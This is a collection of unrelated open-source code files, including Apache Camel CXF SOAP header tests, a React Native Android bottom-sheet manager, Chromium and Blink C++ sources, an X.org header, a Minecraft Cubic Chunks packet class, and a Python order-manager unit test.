throws Exception { exchange.getIn().setBody(cxfPayload); exchange.getIn().setHeader(CxfConstants.OPERATION_NAME, "inoutHeader"); exchange.getIn().setHeader(Header.HEADER_LIST, headers); } }); CxfPayload<?> out = exchange.getMessage().getBody(CxfPayload.class); assertEquals(1, out.getBodySources().size()); assertTrue(out.getBodySources().get(0) instanceof DOMSource); assertEquals(0, out.getHeaders().size()); String responseExp = "<ns2:inoutHeaderResponse xmlns:ns2=\"http://apache.org/camel/" + "component/cxf/soap/headers\"><responseType>pass</responseType>" + "</ns2:inoutHeaderResponse>"; String response = StaxUtils.toString(out.getBody().get(0)); //REVISIT use a more reliable comparison to tolerate some namespaces being added to the root element assertTrue(response.startsWith(responseExp.substring(0, 87)) && response.endsWith(responseExp.substring(88, responseExp.length())), response); } @Test public void testMessageHeadersRelaysSpringContext() throws Exception { CxfEndpoint endpoint = context.getEndpoint( "cxf:bean:serviceExtraRelays?headerFilterStrategy=#customMessageFilterStrategy", CxfEndpoint.class); CxfHeaderFilterStrategy strategy = (CxfHeaderFilterStrategy) endpoint.getHeaderFilterStrategy(); List<MessageHeaderFilter> filters = strategy.getMessageHeaderFilters(); assertEquals(2, filters.size(), "Expected number of filters"); Map<String, MessageHeaderFilter> messageHeaderFilterMap = strategy.getMessageHeaderFiltersMap(); for (String ns : new CustomHeaderFilter().getActivationNamespaces()) { assertEquals(CustomHeaderFilter.class, messageHeaderFilterMap.get(ns).getClass(), "Expected a filter class for namespace: " + ns); } } @Test public void testInOutOfBandHeaderCamelTemplateDirect() throws Exception { doTestInOutOfBandHeaderCamelTemplate("direct:directProducer"); } @Test public void testOutOutOfBandHeaderCamelTemplateDirect() throws Exception { doTestOutOutOfBandHeaderCamelTemplate("direct:directProducer"); } @Test public void testInOutOutOfBandHeaderCamelTemplateDirect() throws Exception { doTestInOutOutOfBandHeaderCamelTemplate("direct:directProducer"); } @Test public void testInOutOfBandHeaderCamelTemplateRelay() throws Exception { doTestInOutOfBandHeaderCamelTemplate("direct:relayProducer"); } @Test public void testOutOutOfBandHeaderCamelTemplateRelay() throws Exception { doTestOutOutOfBandHeaderCamelTemplate("direct:relayProducer"); } @Test public void testInOutOutOfBandHeaderCamelTemplateRelay() throws Exception { doTestInOutOutOfBandHeaderCamelTemplate("direct:relayProducer"); } protected void doTestInOutOfBandHeaderCamelTemplate(String producerUri) throws Exception { // START SNIPPET: sending Exchange senderExchange = new DefaultExchange(context, ExchangePattern.InOut); final List<Object> params = new ArrayList<>(); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); params.add(me); senderExchange.getIn().setBody(params); senderExchange.getIn().setHeader(CxfConstants.OPERATION_NAME, "inOutOfBandHeader"); List<Header> headers = buildOutOfBandHeaderList(false); Map<String, Object> requestContext = new HashMap<>(); requestContext.put(Header.HEADER_LIST, headers); senderExchange.getIn().setHeader(Client.REQUEST_CONTEXT, requestContext); Exchange exchange = template.send(producerUri, senderExchange); org.apache.camel.Message out = exchange.getMessage(); MessageContentsList result = (MessageContentsList) out.getBody(); Map<String, Object> responseContext = CastUtils.cast((Map<?, ?>) out.getHeader(Client.RESPONSE_CONTEXT)); assertNotNull(responseContext); assertTrue(result.get(0) != null && ((Me) result.get(0)).getFirstName().equals("pass"), "Expected the out of band header to propagate but it didn't"); } protected void doTestOutOutOfBandHeaderCamelTemplate(String producerUri) throws Exception { // START SNIPPET: sending Exchange senderExchange = new DefaultExchange(context, ExchangePattern.InOut); final List<Object> params = new ArrayList<>(); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); params.add(me); senderExchange.getIn().setBody(params); senderExchange.getIn().setHeader(CxfConstants.OPERATION_NAME, "outOutOfBandHeader"); Exchange exchange = template.send(producerUri, senderExchange); org.apache.camel.Message out = exchange.getMessage(); MessageContentsList result = (MessageContentsList) out.getBody(); assertTrue(result.get(0) != null && ((Me) result.get(0)).getFirstName().equals("pass"), "Expected the out of band header to propagate but it didn't"); Map<String, Object> responseContext = CastUtils.cast((Map<?, ?>) out.getHeader(Client.RESPONSE_CONTEXT)); assertNotNull(responseContext); validateReturnedOutOfBandHeader(responseContext); } public void doTestInOutOutOfBandHeaderCamelTemplate(String producerUri) throws Exception { // START SNIPPET: sending Exchange senderExchange = new DefaultExchange(context, ExchangePattern.InOut); final List<Object> params = new ArrayList<>(); Me me = new Me(); me.setFirstName("john"); me.setLastName("Doh"); params.add(me); senderExchange.getIn().setBody(params); senderExchange.getIn().setHeader(CxfConstants.OPERATION_NAME, "inoutOutOfBandHeader"); List<Header> inHeaders = buildOutOfBandHeaderList(false); Map<String, Object> requestContext = new HashMap<>(); requestContext.put(Header.HEADER_LIST, inHeaders); senderExchange.getIn().setHeader(Client.REQUEST_CONTEXT, requestContext); Exchange exchange = template.send(producerUri, senderExchange); org.apache.camel.Message out = exchange.getMessage(); MessageContentsList result = (MessageContentsList) out.getBody(); assertTrue(result.get(0) != null && ((Me) result.get(0)).getFirstName().equals("pass"), "Expected the out of band header to propagate but it didn't"); Map<String, Object> responseContext = CastUtils.cast((Map<?, ?>) out.getHeader(Client.RESPONSE_CONTEXT)); assertNotNull(responseContext); validateReturnedOutOfBandHeader(responseContext); } protected static void validateReturnedOutOfBandHeader(HeaderTester proxy) { validateReturnedOutOfBandHeader(proxy, true); } protected static void validateReturnedOutOfBandHeader(HeaderTester proxy, boolean expect) { InvocationHandler handler = Proxy.getInvocationHandler(proxy); BindingProvider bp = null; if (!(handler instanceof BindingProvider)) { fail("Unable to cast dynamic proxy InocationHandler to BindingProvider type"); } bp = (BindingProvider) handler; Map<String, Object> responseContext = bp.getResponseContext(); validateReturnedOutOfBandHeader(responseContext, expect); } protected static void validateReturnedOutOfBandHeader(Map<String, Object> responseContext) { validateReturnedOutOfBandHeader(responseContext, true); } protected static void validateReturnedOutOfBandHeader(Map<String, Object> responseContext, boolean expect) { OutofBandHeader hdrToTest = null; List<Header> oobHdr = CastUtils.cast((List<?>) responseContext.get(Header.HEADER_LIST)); if (!expect) { if (oobHdr == null || oobHdr != null && oobHdr.size() == 0) { return; } fail("Should have got *no* out-of-band headers, but some were found"); } if (oobHdr == null) { fail("Should have got List of out-of-band headers"); } assertEquals(1, oobHdr.size(), "HeaderHolder list expected to conain 1 object received " + oobHdr.size()); for (Header hdr1 : oobHdr) { if (hdr1.getObject() instanceof Node) { try { JAXBElement<?> job = (JAXBElement<?>) JAXBContext .newInstance(org.apache.cxf.outofband.header.ObjectFactory.class) .createUnmarshaller().unmarshal((Node) hdr1.getObject()); hdrToTest = (OutofBandHeader) job.getValue(); } catch (JAXBException ex) { LOG.warn("JAXB error: {}", ex.getMessage(), ex); } } } assertNotNull(hdrToTest, "out-of-band header should not be null"); assertEquals("testOobReturnHeaderName", hdrToTest.getName(), "Expected out-of-band Header name testOobReturnHeaderName recevied :" + hdrToTest.getName()); assertEquals("testOobReturnHeaderValue", hdrToTest.getValue(), "Expected out-of-band Header value testOobReturnHeaderValue recevied :" + hdrToTest.getValue()); assertEquals("testReturnHdrAttribute", hdrToTest.getHdrAttribute(), "Expected out-of-band Header attribute testReturnHdrAttribute recevied :" + hdrToTest.getHdrAttribute()); } protected static List<Header> buildOutOfBandHeaderList(boolean invalid) throws JAXBException { OutofBandHeader ob = new OutofBandHeader(); ob.setName("testOobHeader"); ob.setValue("testOobHeaderValue"); ob.setHdrAttribute(invalid ? "dontProcess" : "testHdrAttribute"); SoapHeader hdr = new SoapHeader( new QName(Constants.TEST_HDR_NS, Constants.TEST_HDR_REQUEST_ELEM), ob, new JAXBDataBinding(ob.getClass())); hdr.setMustUnderstand(invalid); List<Header> headers = new ArrayList<>(); headers.add(hdr); return headers; } protected static void validateReturnedOutOfBandHeaderWithInsertion(Map<String, Object> responseContext, boolean expect) { List<OutofBandHeader> hdrToTest = new ArrayList<>(); List<Header> oobHdr = CastUtils.cast((List<?>) responseContext.get(Header.HEADER_LIST)); if (!expect) { if (oobHdr == null || oobHdr != null && oobHdr.size() == 0) { return; } fail("Should have got *no* out-of-band headers, but some were found"); } if (oobHdr == null) { fail("Should have got List of out-of-band headers"); } assertEquals(2, oobHdr.size(), "HeaderHolder list expected to conain 2 object received " + oobHdr.size()); for (Header hdr1 : oobHdr) { if (hdr1.getObject() instanceof Node) { try { JAXBElement<?> job = (JAXBElement<?>) JAXBContext .newInstance(org.apache.cxf.outofband.header.ObjectFactory.class) .createUnmarshaller().unmarshal((Node) hdr1.getObject()); hdrToTest.add((OutofBandHeader) job.getValue()); } catch (JAXBException ex) { LOG.warn("JAXB error: {}", ex.getMessage(), ex); } } } assertTrue(hdrToTest.size() > 0, "out-of-band header should not be null"); assertEquals("testOobReturnHeaderName", hdrToTest.get(0).getName(), "Expected out-of-band Header name testOobReturnHeaderName recevied :" + hdrToTest.get(0).getName()); assertEquals("testOobReturnHeaderValue", hdrToTest.get(0).getValue(), "Expected out-of-band Header value testOobReturnHeaderValue recevied :" + hdrToTest.get(0).getValue()); assertEquals("testReturnHdrAttribute", hdrToTest.get(0).getHdrAttribute(), "Expected out-of-band Header attribute testReturnHdrAttribute recevied :" + hdrToTest.get(0).getHdrAttribute()); assertEquals("New_testOobHeader", hdrToTest.get(1).getName(), "Expected out-of-band Header name New_testOobHeader recevied :" + hdrToTest.get(1).getName()); assertEquals("New_testOobHeaderValue", hdrToTest.get(1).getValue(), "Expected out-of-band Header value New_testOobHeaderValue recevied :" + hdrToTest.get(1).getValue()); assertEquals("testHdrAttribute", hdrToTest.get(1).getHdrAttribute(), "Expected out-of-band Header attribute testHdrAttribute recevied :" + hdrToTest.get(1).getHdrAttribute()); } public static class InsertRequestOutHeaderProcessor implements Processor { @Override public void process(Exchange exchange) throws Exception { List<SoapHeader> soapHeaders = CastUtils.cast((List<?>) exchange.getIn().getHeader(Header.HEADER_LIST)); // Insert a new header String xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?><outofbandHeader " + "xmlns=\"http://cxf.apache.org/outofband/Header\" hdrAttribute=\"testHdrAttribute\" " + "xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" soap:mustUnderstand=\"1\">" + "<name>New_testOobHeader</name><value>New_testOobHeaderValue</value></outofbandHeader>"; SoapHeader newHeader = new SoapHeader( soapHeaders.get(0).getName(), StaxUtils.read(new StringReader(xml)).getDocumentElement()); // make sure direction is IN since it is a request message. newHeader.setDirection(Direction.DIRECTION_IN); //newHeader.setMustUnderstand(false); soapHeaders.add(newHeader); } } // START SNIPPET: InsertResponseOutHeaderProcessor public static class InsertResponseOutHeaderProcessor implements Processor { @Override public void process(Exchange exchange) throws Exception { // You should be able to get the header if exchange is routed from camel-cxf endpoint List<SoapHeader> soapHeaders = CastUtils.cast((List<?>) exchange.getIn().getHeader(Header.HEADER_LIST)); if (soapHeaders == null) { // we just create a new soap headers in case the header is null soapHeaders = new ArrayList<>(); } // Insert a new header String xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?><outofbandHeader " + "xmlns=\"http://cxf.apache.org/outofband/Header\" hdrAttribute=\"testHdrAttribute\" " + "xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" soap:mustUnderstand=\"1\">" + "<name>New_testOobHeader</name><value>New_testOobHeaderValue</value></outofbandHeader>"; SoapHeader newHeader = new SoapHeader( soapHeaders.get(0).getName(), StaxUtils.read(new StringReader(xml)).getDocumentElement()); // make sure direction is OUT since it is a response message. newHeader.setDirection(Direction.DIRECTION_OUT); //newHeader.setMustUnderstand(false); soapHeaders.add(newHeader); } } // END SNIPPET: InsertResponseOutHeaderProcessor }
15,364
1,216
<filename>android/src/main/java/com/bottomsheetbehavior/BottomSheetBehaviorManager.java package com.bottomsheetbehavior; import android.support.annotation.NonNull; import android.support.v4.view.ViewCompat; import android.support.v4.widget.NestedScrollView; import android.view.MotionEvent; import android.view.View; import android.view.ViewGroup; import com.facebook.react.bridge.Arguments; import com.facebook.react.bridge.JSApplicationIllegalArgumentException; import com.facebook.react.bridge.ReactContext; import com.facebook.react.bridge.ReadableArray; import com.facebook.react.bridge.WritableMap; import com.facebook.react.common.MapBuilder; import com.facebook.react.uimanager.ThemedReactContext; import com.facebook.react.uimanager.ViewGroupManager; import com.facebook.react.uimanager.annotations.ReactProp; import com.facebook.react.uimanager.events.RCTEventEmitter; import java.util.Map; import javax.annotation.Nullable; public class BottomSheetBehaviorManager extends ViewGroupManager<BottomSheetBehaviorView> { private final static String REACT_CLASS = "BSBBottomSheetBehaviorAndroid"; public static final int COMMAND_SET_REQUEST_LAYOUT = 1; public static final int COMMAND_SET_BOTTOM_SHEET_STATE = 2; public static final int COMMAND_ATTACH_NESTED_SCROLL_CHILD = 3; @Override public String getName() { return REACT_CLASS; } @Override public BottomSheetBehaviorView createViewInstance(ThemedReactContext context) { BottomSheetBehaviorView bottomSheet = new BottomSheetBehaviorView(context); bottomSheet.behavior.addBottomSheetCallback(new BottomSheetBehaviorListener()); return bottomSheet; } @ReactProp(name = "state", defaultInt = 4) public void setState(BottomSheetBehaviorView view, int state) { try { view.setState(state); } catch (Exception e) { } } @ReactProp(name = "hideable") public void setHideable(BottomSheetBehaviorView view, boolean hideable) { view.setHideable(hideable); } @ReactProp(name = "peekHeight", defaultInt = 50) public void setPeekHeight(BottomSheetBehaviorView view, int peekHeight) { view.setPeekHeight(peekHeight); } @ReactProp(name = "anchorEnabled") public void setAnchorEnabled(BottomSheetBehaviorView view, boolean anchorEnabled) { view.setAnchorEnabled(anchorEnabled); } @ReactProp(name = "anchorPoint", defaultInt = 300) public void setAnchorPoint(BottomSheetBehaviorView view, int anchorPoint) { view.setAnchorPoint(anchorPoint); } @ReactProp(name = "elevation", defaultFloat = 0) public void setElevation(BottomSheetBehaviorView view, float elevation) { view.setBottomSheetElevation(elevation); } @Override public Map<String, Integer> getCommandsMap() { return MapBuilder .of("setRequestLayout", COMMAND_SET_REQUEST_LAYOUT, "setBottomSheetState", COMMAND_SET_BOTTOM_SHEET_STATE, "attachNestedScrollChild", COMMAND_ATTACH_NESTED_SCROLL_CHILD); } @Nullable @Override public Map<String, Object> getExportedCustomBubblingEventTypeConstants() { return MapBuilder.<String, Object>builder() .put( "topStateChange", MapBuilder.of( "phasedRegistrationNames", MapBuilder.of( "bubbled", "onStateChange", "captured", "onStateChangeCapture"))) .put( "topSlide", MapBuilder.of( "phasedRegistrationNames", MapBuilder.of( "bubbled", "onSlide", "captured", "onSlideCapture"))) .build(); } @Override public void receiveCommand(BottomSheetBehaviorView view, int commandType, @Nullable ReadableArray args) { switch (commandType) { case COMMAND_SET_REQUEST_LAYOUT: setRequestLayout(view); return; case COMMAND_SET_BOTTOM_SHEET_STATE: setBottomSheetState(view, args); return; case COMMAND_ATTACH_NESTED_SCROLL_CHILD: int nestedScrollId = args.getInt(0); ViewGroup child = (ViewGroup) view.getRootView().findViewById(nestedScrollId); if (child != null && child instanceof NestedScrollView) { this.attachNestedScrollChild(view, (NestedScrollView) child); } return; default: throw new JSApplicationIllegalArgumentException("Invalid Command"); } } private void setRequestLayout(BottomSheetBehaviorView view) { view.requestLayout(); } private void setBottomSheetState(BottomSheetBehaviorView view, @Nullable ReadableArray args) { if (!args.isNull(0)) { int newState = args.getInt(0); setState(view, newState); } } /** * BottomSheetBehaviorView inherits a NestedScrollView in order to work * with the anchor point, but it breaks any ReactNestedScrollView child, * so we are changing the behavior of ReactNestedScrollView to disable * the nested scroll of the bottom sheet, and enable when the child scroll * reaches the top offset. */ private void attachNestedScrollChild(final BottomSheetBehaviorView parent, final NestedScrollView nestedScroll) { nestedScroll.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { int action = event.getAction(); if (action == MotionEvent.ACTION_MOVE) { if (nestedScroll.computeVerticalScrollOffset() == 0) { parent.startNestedScroll(ViewCompat.SCROLL_AXIS_VERTICAL); } else { parent.stopNestedScroll(); } } return nestedScroll.onTouchEvent(event); } }); } public class BottomSheetBehaviorListener extends RNBottomSheetBehavior.BottomSheetCallback { @Override public void onStateChanged(@NonNull View bottomSheet, int newState) { WritableMap event = Arguments.createMap(); event.putInt("state", newState); ReactContext reactContext = (ReactContext) bottomSheet.getContext(); reactContext.getJSModule(RCTEventEmitter.class).receiveEvent(bottomSheet.getId(), "topStateChange", event); } @Override public void onSlide(@NonNull View bottomSheet, float slideOffset) { WritableMap event = Arguments.createMap(); event.putDouble("offset", slideOffset); ReactContext reactContext = (ReactContext) bottomSheet.getContext(); reactContext.getJSModule(RCTEventEmitter.class).receiveEvent(bottomSheet.getId(), "topSlide", event); } } }
2,902
14,668
// Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "android_webview/nonembedded/component_updater/aw_component_installer_policy_shim.h" #include <cstdint> #include <memory> #include <string> #include <utility> #include <vector> #include "base/files/file_path.h" #include "base/values.h" #include "components/component_updater/component_installer.h" namespace android_webview { AwComponentInstallerPolicyShim::AwComponentInstallerPolicyShim( std::unique_ptr<component_updater::ComponentInstallerPolicy> policy) : policy_(std::move(policy)) { } AwComponentInstallerPolicyShim::~AwComponentInstallerPolicyShim() = default; update_client::CrxInstaller::Result AwComponentInstallerPolicyShim::OnCustomInstall( const base::Value& manifest, const base::FilePath& install_dir) { return policy_->OnCustomInstall(manifest, install_dir); } bool AwComponentInstallerPolicyShim:: SupportsGroupPolicyEnabledComponentUpdates() const { return policy_->SupportsGroupPolicyEnabledComponentUpdates(); } bool AwComponentInstallerPolicyShim::RequiresNetworkEncryption() const { return policy_->RequiresNetworkEncryption(); } bool AwComponentInstallerPolicyShim::VerifyInstallation( const base::Value& manifest, const base::FilePath& install_dir) const { return policy_->VerifyInstallation(manifest, install_dir); } base::FilePath AwComponentInstallerPolicyShim::GetRelativeInstallDir() const { return policy_->GetRelativeInstallDir(); } void AwComponentInstallerPolicyShim::GetHash(std::vector<uint8_t>* hash) const { policy_->GetHash(hash); } std::string AwComponentInstallerPolicyShim::GetName() const { return policy_->GetName(); } update_client::InstallerAttributes AwComponentInstallerPolicyShim::GetInstallerAttributes() const { return policy_->GetInstallerAttributes(); } } // namespace android_webview
599
337
<reponame>AndrewReitz/kotlin public class Foo { private boolean isB; public boolean isB() { return isB; } public void setB(boolean b) { isB = b; } } public class Bar { private boolean isB; public boolean isB() { return isB; } public void setB(boolean b) { isB = b; } }
163
334
package org.jf.dexlib2.immutable.debug; import com.google.common.collect.ImmutableList; import org.jf.dexlib2.DebugItemType; import org.jf.dexlib2.iface.debug.DebugItem; import org.jf.dexlib2.iface.debug.EndLocal; import org.jf.dexlib2.iface.debug.EpilogueBegin; import org.jf.dexlib2.iface.debug.LineNumber; import org.jf.dexlib2.iface.debug.PrologueEnd; import org.jf.dexlib2.iface.debug.RestartLocal; import org.jf.dexlib2.iface.debug.SetSourceFile; import org.jf.dexlib2.iface.debug.StartLocal; import org.jf.util.ExceptionWithContext; import org.jf.util.ImmutableConverter; public abstract class ImmutableDebugItem implements DebugItem { protected final int codeAddress; public ImmutableDebugItem(int codeAddress) { this.codeAddress = codeAddress; } public static ImmutableDebugItem of(DebugItem debugItem) { if (debugItem instanceof ImmutableDebugItem) { return (ImmutableDebugItem) debugItem; } switch (debugItem.getDebugItemType()) { case DebugItemType.START_LOCAL: return ImmutableStartLocal.of((StartLocal) debugItem); case DebugItemType.END_LOCAL: return ImmutableEndLocal.of((EndLocal) debugItem); case DebugItemType.RESTART_LOCAL: return ImmutableRestartLocal.of((RestartLocal) debugItem); case DebugItemType.PROLOGUE_END: return ImmutablePrologueEnd.of((PrologueEnd) debugItem); case DebugItemType.EPILOGUE_BEGIN: return ImmutableEpilogueBegin.of((EpilogueBegin) debugItem); case DebugItemType.SET_SOURCE_FILE: return ImmutableSetSourceFile.of((SetSourceFile) debugItem); case DebugItemType.LINE_NUMBER: return ImmutableLineNumber.of((LineNumber) debugItem); default: throw new ExceptionWithContext("Invalid debug item type: %d", debugItem.getDebugItemType()); } } @Override public int getCodeAddress() { return codeAddress; } public static ImmutableList<ImmutableDebugItem> immutableListOf(Iterable<? extends DebugItem> list) { return CONVERTER.toList(list); } private static final ImmutableConverter<ImmutableDebugItem, DebugItem> CONVERTER = new ImmutableConverter<ImmutableDebugItem, DebugItem>() { @Override protected boolean isImmutable(DebugItem item) { return item instanceof ImmutableDebugItem; } @Override protected ImmutableDebugItem makeImmutable(DebugItem item) { return ImmutableDebugItem.of(item); } }; }
1,184
2,151
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/core/layout/ng/geometry/ng_logical_rect.h" #include <algorithm> #include "third_party/blink/renderer/platform/geometry/layout_rect.h" #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h" namespace blink { namespace { inline NGLogicalOffset Min(NGLogicalOffset a, NGLogicalOffset b) { return {std::min(a.inline_offset, b.inline_offset), std::min(a.block_offset, b.block_offset)}; } inline NGLogicalOffset Max(NGLogicalOffset a, NGLogicalOffset b) { return {std::max(a.inline_offset, b.inline_offset), std::max(a.block_offset, b.block_offset)}; } } // namespace NGLogicalRect::NGLogicalRect(const LayoutRect& source) : NGLogicalRect({source.X(), source.Y()}, {source.Width(), source.Height()}) {} LayoutRect NGLogicalRect::ToLayoutRect() const { return {offset.inline_offset, offset.block_offset, size.inline_size, size.block_size}; } bool NGLogicalRect::operator==(const NGLogicalRect& other) const { return other.offset == offset && other.size == size; } NGLogicalRect NGLogicalRect::operator+(const NGLogicalOffset& offset) const { return {this->offset + offset, size}; } void NGLogicalRect::Unite(const NGLogicalRect& other) { if (other.IsEmpty()) return; if (IsEmpty()) { *this = other; return; } NGLogicalOffset new_end_offset(Max(EndOffset(), other.EndOffset())); offset = Min(offset, other.offset); size = new_end_offset - offset; } String NGLogicalRect::ToString() const { return String::Format("%s,%s %sx%s", offset.inline_offset.ToString().Ascii().data(), offset.block_offset.ToString().Ascii().data(), size.inline_size.ToString().Ascii().data(), size.block_size.ToString().Ascii().data()); } std::ostream& operator<<(std::ostream& os, const NGLogicalRect& value) { return os << value.ToString(); } } // namespace blink
836
432
/* * This file is part of Cubic Chunks Mod, licensed under the MIT License (MIT). * * Copyright (c) 2015-2019 OpenCubicChunks * Copyright (c) 2015-2019 contributors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package io.github.opencubicchunks.cubicchunks.core.network; import com.google.common.base.Preconditions; import io.github.opencubicchunks.cubicchunks.api.world.ICubicWorld; import io.github.opencubicchunks.cubicchunks.core.client.CubeProviderClient; import io.netty.buffer.ByteBuf; import mcp.MethodsReturnNonnullByDefault; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.util.math.ChunkPos; import net.minecraft.world.World; import net.minecraftforge.fml.common.network.simpleimpl.IMessage; import net.minecraftforge.fml.common.network.simpleimpl.MessageContext; import javax.annotation.Nullable; import javax.annotation.ParametersAreNonnullByDefault; @MethodsReturnNonnullByDefault @ParametersAreNonnullByDefault public class PacketUnloadColumn implements IMessage { private ChunkPos chunkPos; public PacketUnloadColumn() { } public PacketUnloadColumn(ChunkPos chunkPos) { this.chunkPos = chunkPos; } @Override public void fromBytes(ByteBuf buf) { this.chunkPos = new ChunkPos(buf.readInt(), buf.readInt()); } @Override public void toBytes(ByteBuf buf) { buf.writeInt(chunkPos.x); buf.writeInt(chunkPos.z); } ChunkPos getColumnPos() { return Preconditions.checkNotNull(chunkPos); } public static class Handler extends AbstractClientMessageHandler<PacketUnloadColumn> { @Nullable @Override public void handleClientMessage(World world, EntityPlayer player, PacketUnloadColumn message, MessageContext ctx) { ICubicWorld worldClient = (ICubicWorld) world; if (!worldClient.isCubicWorld()) { // Workaround for vanilla: when going between dimensions, chunk unload packets are received for the old dimension // are received when client already has the new dimension. In vanilla it just happens to cause no issues but it breaks cubic chunks // if we don't check for it return; } CubeProviderClient cubeCache = (CubeProviderClient) worldClient.getCubeCache(); ChunkPos chunkPos = message.getColumnPos(); cubeCache.unloadChunk(chunkPos.x, chunkPos.z); } } }
1,169
449
<reponame>buiksat/Learn-Algorithmic-Trading import unittest from chapter7.OrderManager import OrderManager class TestOrderBook(unittest.TestCase): def setUp(self): self.order_manager = OrderManager() def test_receive_order_from_trading_strategy(self): order1 = { 'id': 10, 'price': 219, 'quantity': 10, 'side': 'bid', } self.order_manager.handle_order_from_trading_strategy(order1) self.assertEqual(len(self.order_manager.orders),1) self.order_manager.handle_order_from_trading_strategy(order1) self.assertEqual(len(self.order_manager.orders),2) self.assertEqual(self.order_manager.orders[0]['id'],1) self.assertEqual(self.order_manager.orders[1]['id'],2) def test_receive_order_from_trading_strategy_error(self): order1 = { 'id': 10, 'price': -219, 'quantity': 10, 'side': 'bid', } self.order_manager.handle_order_from_trading_strategy(order1) self.assertEqual(len(self.order_manager.orders),0) def display_orders(self): for o in self.order_manager.orders: print(o) def test_receive_from_gateway_filled(self): self.test_receive_order_from_trading_strategy() orderexecution1 = { 'id': 2, 'price': 13, 'quantity': 10, 'side': 'bid', 'status' : 'filled' } # self.display_orders() self.order_manager.handle_order_from_gateway(orderexecution1) self.assertEqual(len(self.order_manager.orders), 1) def test_receive_from_gateway_acked(self): self.test_receive_order_from_trading_strategy() orderexecution1 = { 'id': 2, 'price': 13, 'quantity': 10, 'side': 'bid', 'status' : 'acked' } # self.display_orders() self.order_manager.handle_order_from_gateway(orderexecution1) self.assertEqual(len(self.order_manager.orders), 2) self.assertEqual(self.order_manager.orders[1]['status'], 'acked')
1,064
463
<filename>virtual/lib/python3.6/site-packages/pylint/test/functional/too_many_arguments_issue_1045.py<gh_stars>100-1000 # pylint: disable=missing-docstring # pylint: disable=unused-import, undefined-variable; false positives :-( import functools @functools.lru_cache() def func(): pass func.cache_clear()
115
521
<reponame>Fimbure/icebox-1<gh_stars>100-1000 /* * Copyright (C) 2000 The XFree86 Project, Inc. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * XFREE86 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * Except as contained in this notice, the name of the XFree86 Project shall * not be used in advertising or otherwise to promote the sale, use or other * dealings in this Software without prior written authorization from the * XFree86 Project. * */ #ifndef _MICOORD_H_ #define _MICOORD_H_ 1 #include "servermd.h" /* Macros which handle a coordinate in a single register */ #define GetHighWord(x) (((int) (x)) >> 16) #if IMAGE_BYTE_ORDER == MSBFirst #define intToCoord(i,x,y) (((x) = GetHighWord(i)), ((y) = (int) ((short) (i)))) #define coordToInt(x,y) (((x) << 16) | ((y) & 0xffff)) #define intToX(i) (GetHighWord(i)) #define intToY(i) ((int) ((short) i)) #else #define intToCoord(i,x,y) (((x) = (int) ((short) (i))), ((y) = GetHighWord(i))) #define coordToInt(x,y) (((y) << 16) | ((x) & 0xffff)) #define intToX(i) ((int) ((short) (i))) #define intToY(i) (GetHighWord(i)) #endif #endif /* _MICOORD_H_ */
707
879
<filename>header/src/main/java/org/zstack/header/longjob/APIQueryLongJobReply.java package org.zstack.header.longjob; import org.zstack.header.query.APIQueryReply; import org.zstack.header.rest.RestResponse; import java.util.Arrays; import java.util.List; /** * Created by GuoYi on 11/13/17. */ @RestResponse(allTo = "inventories") public class APIQueryLongJobReply extends APIQueryReply { private List<LongJobInventory> inventories; public List<LongJobInventory> getInventories() { return inventories; } public void setInventories(List<LongJobInventory> inventories) { this.inventories = inventories; } public static APIQueryLongJobReply __example__() { APIQueryLongJobReply reply = new APIQueryLongJobReply(); LongJobInventory inv = new LongJobInventory(); inv.setUuid(uuid()); reply.setInventories(Arrays.asList(inv)); return reply; } }
345
2,151
